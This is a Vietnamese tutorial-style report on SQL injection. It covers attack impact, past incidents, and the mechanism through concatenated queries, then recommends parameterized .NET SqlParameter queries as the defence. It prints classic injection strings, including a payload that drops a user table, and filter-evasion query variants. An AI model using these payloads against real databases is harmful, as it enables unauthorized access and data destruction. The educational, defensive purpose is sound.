Cơ sở dữ liệu là trái tim của một website thương mại. Một cuộc tấn công vào server lưu giữ cơ sở dữ liệu có thể gây ra thất thoát lớn về tài chính cho công ty. Thông thường, cơ sở dữ liệu bị tấn công để lấy các thông tin về thẻ tín dụng. Chỉ cần một cuộc tấn công sẽ làm giảm uy tín và lượng khách hàng bởi vì họ muốn thông tin về CC của mình được an toàn. Hầu hết các website thương mại dùng Microsoft SQL (MSSQL) và Oracle. MSSQL vẫn đang chiếm ưu thế trên thị trường vì giá thành rẻ. Trong khi Oracle server được bán mắc hơn. Oracle đã từng tuyên bố là "không thể xâm nhập được", nhưng những hacker coi đó như là 1 lời thách thức và đã tìm ra rất nhiều lỗi trong Oracle server.

1.3 Một số thông tin về SQL Injection
SQL Injection có thể được sử dụng như một phương pháp tấn công DoS( Denied of Service). Vào tháng 1/2008, một nhóm attacker đã phát hiện ra nguy cơ SQL injection trên web site của Recording Industry Association of America( RIAA). Nguy cơ này tạo bàn đạp cho việc tấn công SQL Injection, khiến cho hàng triệu CPU xử lý hàm MD5 trong cơ sở dữ liệu. Bằng cách đưa ra đường link sau:
và khuyến khích mọi người click vào. Khi click vào, sẽ thực hiện câu lệnh SQL nhằm làm tê liệt hệ thống. Kết quả là với chỉ vài dòng SQL, hệ thống đã bị đánh sập. Câu lệnh SQL đơn giản chỉ với 77 kí tự như sau:

Vào năm 2007 và 2008, các hacker sử dụng SQL Injection để load malware từ các hệ thống bên trong của nhiều công ty để chiếm lấy hàng triệu credit card. Tháng 10 năm 2008, cục điều tra liên bang Mỹ( FBI) đã đóng cửa một web site đóng vai trò quan trọng trong việc buôn bán các dữ liệu credit card sau 2 năm điều tra và tránh được việc thất thoát 70 triệu USD.
Vào ngày 8 tháng 11 năm 2008, các hacker đã tấn công vào một ngân hàng và lấy được hơn 9 triệu USD từ 49 thành phố trên toàn cầu chỉ trong vòng 30 phút.
Theo thống kê về các lỗ hổng bảo mật thường bị tấn công nhất vào năm 2009


SQL Injection chiếm một tỉ lệ rất cao so với các phương pháp tấn công khác.

1.4 Đánh giá mức độ nguy hiểm của SQL Injection
Theo tài liệu Hacking Exposed Web 2.0 đánh giá:

Mức độ phổ biến của phương pháp tấn công này rất cao( 8/10), bởi vì nó cũng khá đơn giản để thực hiện( 8/10), và các tác động của SQL Injection tới hệ thống là rất nguy hiểm( 9/10). Chính vì thế, nên tổng thể nguy cơ này được đánh giá 9/10. Đây thật sự là một lỗ hổng về bảo mật rất đáng được quan tâm đến.
Dựa vào lỗi SQL Injection, hacker có thể làm được những việc sau:
·         Có thể lấy được rất nhiều thông tin quan trọng trong cơ sở dữ liệu của một hệ thống web
·         như account và password của admin của một web site, hay các thông tin quan trọng về thẻ tín dụng của khách hàng trong một ngân hàng nào đó,…
·         Có thể thêm, xóa, sửa cơ sở dữ liệu của đối tượng bị tấn công theo ý muốn
·         Có thể tạo một backdoor cho những lần tấn công sau
·         Có thể đánh sập hoàn toàn một hệ thống
·         Có thể dùng như một phương pháp tấn công DoS
·        

2 Tìm hiểu về SQL Injection

Mặc dù SQL là một chuẩn do ANSI và ISO đưa ra, tuy nhiên, có rất nhiều phiên bản khác nhau của ngôn ngữ SQL. Và phần lớn các chương trình cơ sở dữ liệu cũng có những phần mở rộng thêm vào riêng của họ, so với chuẩn SQL. Do đó, khi tấn công các cơ sở dữ liệu khác nhau hoặc các web site viết trên các ngôn ngữ lập trình khác nhau, thì có thể sẽ phải sử dụng nhiều phương pháp tấn công khác nhau. Tuy nhiên, các câu lệnh cơ bản của các chương trình cơ sở dữ liệu thì phần lớn đều phải theo chuẩn đã được đưa ra.
Nguy cơ bảo mật về SQL Injection có thể giúp attacker chiếm quyền điều khiển cơ sở dữ liệu thông qua ứng dụng web. Đối với nhiều web site, thì cơ sở dữ liệu có chứa các thông tin quan trọng như thông tin sản phẩm, các đơn đặt hàng, user profile,..
Câu lệnh SQL thường khá giống so với tiếng Anh. Xét ví dụ sau: để xem được thông tin của tất cả sinh viên được lưu trữ( name, student ID, mailing address, GPA,…) trong bảng Undergraduates thì câu lệnh sẽ là:
Select * From Undergraduates
Để xem dữ liệu về sinh viên có họ là Wiley, câu truy vấn sẽ là:
Select * From Undergraduates Where Last_Name = ‘Hoang’
Để xem thông tin về sinh viên có họ là Hoang và tên là Tuan, câu truy vấn sẽ là:
Select * From Undergraduates Where Last_Name = ‘Hoang’ and First_Name = ‘Tuan’
Câu lệnh and trong câu truy vấn có nghĩa là cả hai điều kiện đều phải đúng( họ là Hoang và tên là Tuan) thì sẽ hiển thị lên. Tuy nhiên, nếu thay đổi and thành or thì câu truy vấn sẽ trở thành:
Select * From Undergraduates Where Last_Name = ‘Hoang’ or First_Name = ‘Tuan’
và nó sẽ hiển thị mọi sinh viên có họ là Hoang( Cuong Hoang, Loc Hoang, Tuan Hoang,…) và có tên là Tuan( Tuan Hoang, Tuan Vu, Tuan Nguyen,…). Câu lệnh or trong SQL có nghĩa là chỉ cần một trong hai điệu kiện là đúng thì toàn bộ câu truy vấn sẽ là đúng. Đây chính là mấu chốt cho việc thực hiện tấn công SQL Injection.
Xét ví dụ: ở một cơ sở dữ liệu của một hệ thống web có lưu trữ một account có ID là Tuan Hoang và password là 12345, khi đăng nhập vào form sau:

Hình 2.6. Form login




Nếu nhập đúng thì câu truy vấn SQL sau sẽ được thực hiện:
Select ID From Users Where UserName = User_Entered_Username and Password = User_Entered_Password
Câu truy vấn trên sẽ tìm kiếm trong bảng Users với giá trị phải là đúng của cả username( Tuan Hoang) và password( 12345). Tuy nhiên, nếu attacker nhập vào khung password là 123 or 1 = 1 thì câu lệnh SQL đương nhiên trở thành giá trị đúng, và với cách thực hiện như vậy thì sẽ xâm nhập được vào hệ thống một cách vô cùng đơn giản. Và cũng bởi vì khi đã xâm nhập được trực tiếp vào bên trong hệ thống, nên những thao tác như thêm, xóa, sửa cơ sở dữ liệu có thể được thực hiện một cách dễ dàng.
Tuy nhiên, phương pháp tấn công trên ngày nay đã không còn sử dụng được nữa, bởi lỗi này đơn giản, dễ thực hiện, song cũng rất dễ vá lỗi. Thế nhưng phương pháp tấn công trên thường được sử dụng như một ví dụ kinh điển làm nền tảng việc tìm hiểu về tấn công SQL Injection. Sau này, các hacker đã tìm được rất nhiều lỗ hổng SQL Injection nguy hiểm có thể gây thiệt hại nghiêm đến cơ sở dữ liệu và hệ thống.
Lỗ hổng SQL Injection giúp attacker điều khiển được cơ sở dữ liệu thông qua Web application. Đối với nhiều Web site, cơ sở dữ liệu đóng vai trò rất quan trọng, nó chứa nhiều thông tin như danh sách các sản phẩm, đơn đặc hàng, user profile, password,… những site xử lý các câu truy vấn cơ sở dữ liệu khi user thực hiện các thao tác cũng bị ảnh hưởng khi thực hiện các câu lệnh truy vấn. Cơ sở dữ liệu có thể bị truy vấn để lấy ra các thông tin có trong đó. Dữ liệu có thể bị thay đổi như gửi một comment tới một thread đang được thảo luận. Các thông tin lạ có thể được đưa vào cơ sở dữ liệu như thêm vào một comment mới trong thread, hay thêm vào một đơn đặt hàng mới. Thông tin lưu trữ trong cơ sở dữ liệu có thể được update, như thay đổi home address hoặc reset password. Cũng có lúc dữ liệu bị xóa đi khỏi cơ sở dữ liệu… Trong mọi trường hợp, web site đều xử lý câu lệnh truy vấn với một mục đích cụ thể nào đó.
Các lỗ hổng về SQL Injection thay đổi câu lệnh cơ sở dữ liệu thành ra khác hẳn so với ý muốn ban đầu của người tập trình, khiến các câu lệnh có thể được điều khiển bởi attacker. Một câu truy vấn đến một record có thể đổi thành một câu truy vấn cho toàn bộ các record. Một thông tin mới thêm vào có thể xóa toàn bộ các table trong cơ sở dữ liệu. Trong trường hợp nghiêm trọng hơn, việc tấn công vượt ra khỏi cơ sở dữ liệu và tấn công thẳng lên hệ điều hành.
Lý do mà SQL Injection có thể gây tác hại lớn đến như vậy là do nguy cơ đến từ các ứng dụng Web: các kí tự “dính” vào với nhau tạo thành chuỗi( string concatenation). String concatenation là tiến trình “dính” các kí tự lại với nhau để tạo thành một chuỗi đơn thống nhất- trong trường hợp này là các lệnh truy vấn cơ sở dữ liệu. Do đó, ta có thể lợi dụng cách này để thực hiện câu truy vấn trực tiếp thẳng vào address bar hoặc thêm vào các kí tự bất thường ngay tại khung đăng nhập để “đánh lừa” hệ thống.
Ví dụ dưới đây sẽ cho thấy, chỉ một yêu cầu truy vấn tới cơ sở dữ liệu nhưng lại có thể viết dưới rất nhiều cách khác nhau:

SELECT*FROM parties WHERE day='tomorrow'
SELECT*FROM parties WHERE day='tomorrow'
SELECT*FROM parties WHERE day=REVERSE('worromot')
SELECT/**/*/**/FROM/**/parties/**/WHERE/**/day='tomorrow'
SELECT*FROM parties WHERE day=0x746f6d6f72726f77
SELECT*FROM parties WHERE(day)LIKE(0x746f6d6f72726f77)
SELECT*FROM parties
WHERE(day)BETWEEN(0x746f6d6f72726f77)AND(0x746f6d6 f72726f77)
SELECT*FROM[parties]WHERE/**/day='tomorrow'
SELECT*FROM[parties]WHERE[day]=N'tomorrow'
SELECT*FROM"parties"WHERE"day"LIKE"tomorrow"
SELECT*,(SELECT(NULL))FROM(parties)WHERE(day)LIKE( 0x746f6d6f72726f77)
SELECT*FROM(parties)WHERE(day)IN(SELECT(0x746f6d6f 72726f77))
Khi thử nhiều dòng lệnh như vậy, cần chú ý tới lỗi SQL được đưa ra để biết được những kí tự nào sẽ vượt qua được “bộ lọc”, và kiểm tra các kí tự được mã hóa và phần nào của cú pháp câu truy vấn cần được chỉnh sửa.
Dưới đây là bảng một số kí tự đặc biệt trong ngôn ngữ SQL và được xem là không an toàn và có thể gây nguy hiểm cho cơ sở dữ liệu

Hình 2.7. Một số kí tự đặc biệt trong SQL




Những kí tự trên mang một mối nguy hiểm tiềm tàng đối với cơ sở dữ liệu, xét thêm một ví dụ sau:
String query = "SELECT id FROM user_table WHERE " +
"username = '" + username + "' AND " +
"password = PASSWORD('" + password + "')";

Đây là một câu truy vấn trong HTML, giả sử attacker nhập username là:
' OR 1=1; DROP TABLE user_table; --
Thì câu truy vấn sẽ trở thành:
SELECT id FROM user_table WHERE username='' OR 1=1; DROP TABLE
user_table; -- ' AND password = PASSWORD('x');
và sẽ thực hiện đồn thời hai lệnh:
SELECT id FROM user_table WHERE username='' OR 1=1;
DROP TABLE user_table;
Bởi vì câu truy vấn trên hoàn toàn là đúng, nên nó sẽ thực hiện lệnh DROP. Điều này rất nguy hiểm đối với một cơ sở dữ liệu.
SQL Injection bằng cách sử dụng trực tiếp user data khi tạo một câu truy vấn.
Theo tài liệu Hacking Exposed Web 2.0 đánh giá:


Đây cũng là một dạng SQL Injection nhưng có phức tạp hơn một chút so với phương pháp SQL Injection thông thường, khi yêu cầu đòi hỏi phải có dữ liệu của user. Mức độ phổ biến của phương pháp này cũng khá cao( 8/10), mức độ đơn giản chỉ ở mức vừa phải( 6/10) nhưng sức phá hoại của nó rất cao( 9/10). Đây cũng là một mối nguy hiểm cần được quan tâm đến( 9/10).
Xét đoạn code ví dụ sau:
string query = "SELECT * FROM Users WHERE name='" + userName + "'";
SqlConnection conn = new SqlConnection(connectionString);
conn.Open();
SqlCommand sqlCommand = conn.CreateCommand();
sqlCommand.CommandText = query;
SqlDataReader reader = sqlCommand.ExecuteReader();
/* Process Results Here */
Đoạn code này có thể bị tấn công bằng phương pháp SQL Injection bởi vì nó xử lý trực tiếp câu truy vấn với dữ liệu của user. Đối tượng SqlConnection tạo kết nối tới cơ sở dữ liệu và SqlCommand đại diện cho một lệnh riêng biệt sẽ được xử lý trong database management system( DBMS). Attacker có thể “tiêm” nhiều lệnh vào câu truy vấn bằng dấu chấm phẩy( để phân cách mỗi câu lệnh riêng biệt với nhau.
Lỗi này có thể dễ dàng tránh được bằng cách sử dụng .NET. Dùng class SqlParameter để insert thông tin vào các câu truy vấn SQL thay vì insert trực tiếp thông qua string concatenation. Bằng cách sử dụng class SqlParameter, các class trong .NET sẽ biết lấy user data từ câu truy vấn và thông tin mà attacker đưa vào sẽ không thực hiện được. Các class của SqlParameter có thể sử dụng có thể sử dụng các phương thức được lưu trữ sẵn và các câu truy vấn chuẩn như câu lện select trong ví dụ trên.
Để sử dụng một đối tượng SqlParameter với một câu truy vấn, có thể chỉ ra cac biến bằng cách đặt các biến truy vấn vào trong câu query và thêm vào đối tượng SqlParameter thích hợp vào trong SqlCommand. Các biến truy vấn được chỉ ra trong câu truy vấn bằng cách sử dụng @ParameterName với ParameterName là tên của SqlParameter phải cấp cho SqlCommand. Vài hiệu ứng lề có lợi của việc tham số hóa các câu truy vấn là trong vài trường hợp các câu truy vấn lặp sẽ xử lý nhanh hơn và code sẽ trở nên dễ đọc và kiểm soát hơn.
Ví dụ sau có thể được viết lại để sử dụng SqlParameters:
SqlCommand sqlCommand = sqlConn.CreateCommand();
sqlCommand.CommandType = CommandType.Text;
sqlCommand.CommandText = "SELECT * FROM Contact WHERE
FirstName=@FirstName";
SqlParameter nameParam = new SqlParameter("@FirstName", firstName);
nameParam.SqlDbType = SqlDbType.Text;
sqlCommand.Parameters.Add(nameParam);
Câu truy vấn đã được thay đổi và sử dụng đối tượng SqlParameter để phân biệt giá trị cho cột FirstName trong vế WHERE. Cấu truy vấn đã có thể được xử lý an toàn, ko cần lo lắm về việc dữ liệu của user được dùng để tấn công vào cơ sở dữ liệu.
Kĩ thuật này cũng được dùng khi gọi một stored procedure. Để tránh câu truy vấn dài như exec sp_my_stored_procedure @param1, @param2, thay đổi CommandType của SqlCommand thành CommandType.StoredProcedure. Bằng cách thay đổi kiểu câu lệnh thành StoredProcedure, .Net Framework sẽ hiểu người lập trình muốn gọi một stored procedure và đặt vào câu truy vấn thích hợp.
Attacker có một vài lợi thế khi tấn công bằng phương pháp SQL Injection trên các ứng dụng ASP.Net. Trước hết, rất nhiều ứng dụng chính của ASP.NET được triển khai trên môi trường Microsoft và sử dụng Microsoft SQL Server. Attacker có thể lưu vài database fingerprinting bằng cách tấn công Microsoft SQL và sử dụng phương pháp tấn công thích hơp. Sau đó, ASP.Net chạy phổ biến nhất trên nền .Net. Kết hợp điều này, attacker có thể tấn công các ứng dụng với thông tin về cách mà các câu truy vấn được đặt như thế nào trong cơ sở dữ liệu. Chỉ cần một ít thông tin đó thôi cũng đủ để các hacker tìm được lỗ hổng SQL Injection.
Vài năm trước, một kiểu tấn công phổ biết vào các version của SQL Server từ trước đây tới năm 2005 sử dụng phương pháp gọi stored procedure xp_cmdshell. Phương pháp tấn công này chỉ thành công với Microsoft SQL Server và không thành công với các DBMS khác.
Khi kiểm tra một ứng dụng .Net mới, một trong những điều lưu ý đầu tiên là xem chỗ mà lập trình viên đặt CommandText property trong đối tượng SqlCommand. Thường thì rất dễ liệt kê các phương thức gọi bằng cách tìm trong CommandText hoặc CommandType.Text và quyết định xem lập trình viên ứng dụng đó có tạo đúng mục đích sử dụng của các tham số trong truy vấn SQL hay không.
Một lưu ý là sẽ một người sẽ có lợi thế trong việc sử dụng các câu truy vấn an toàn nếu họ biết cách sử dụng các hàm trong SQL. Đối với attacker, họ sẽ chú ý tới những điểm mà người lập trình ứng dụng không biết tới hoặc lười kiểm tra khi họ thao tác với ngôn ngữ SQL.